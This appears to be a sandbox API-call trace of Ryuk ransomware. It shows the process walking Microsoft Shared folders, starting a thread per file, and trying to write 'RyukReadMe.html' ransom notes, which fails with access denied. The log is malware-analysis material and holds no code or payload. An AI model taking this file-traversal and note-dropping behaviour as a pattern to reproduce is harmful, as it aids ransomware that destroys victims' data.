	[0159.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0159.694] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.694] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1
	[0159.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0159.697] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.698] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1
	[0159.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0159.701] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1
	[0159.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0159.705] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1
	[0159.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0159.709] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1
	[0159.709] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0160.103] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.104] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0160.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0160.108] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.109] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0160.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0160.113] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.114] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0160.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0160.118] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.119] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1
	[0160.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
	[0160.124] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.124] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1
	[0160.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0160.128] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.128] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1
	[0160.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0160.132] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.133] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x7c, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1
	[0160.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0160.136] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.136] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1
	[0160.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0160.287] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.288] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1
	[0160.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0160.292] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.292] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0
	[0160.293] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0160.912] SetLastError (dwErrCode=0x0) 
	[0160.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.923] GetLastError () returned 0x5
	[0160.923] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0160.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.923] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0160.923] SetLastError (dwErrCode=0x0) 
	[0160.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.924] GetLastError () returned 0x5
	[0160.924] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0160.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0160.924] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.925] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0160.925] SetLastError (dwErrCode=0x0) 
	[0160.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.925] GetLastError () returned 0x5
	[0160.925] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0160.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0160.925] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.926] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0160.926] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0160.926] SetLastError (dwErrCode=0x0) 
	[0160.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.926] GetLastError () returned 0x5
	[0160.926] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0160.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.926] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1
	[0160.927] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1
	[0160.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0160.929] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.930] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1
	[0160.930] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0160.932] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.933] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1
	[0160.933] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0160.935] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.935] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1
	[0160.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0160.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0160.938] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
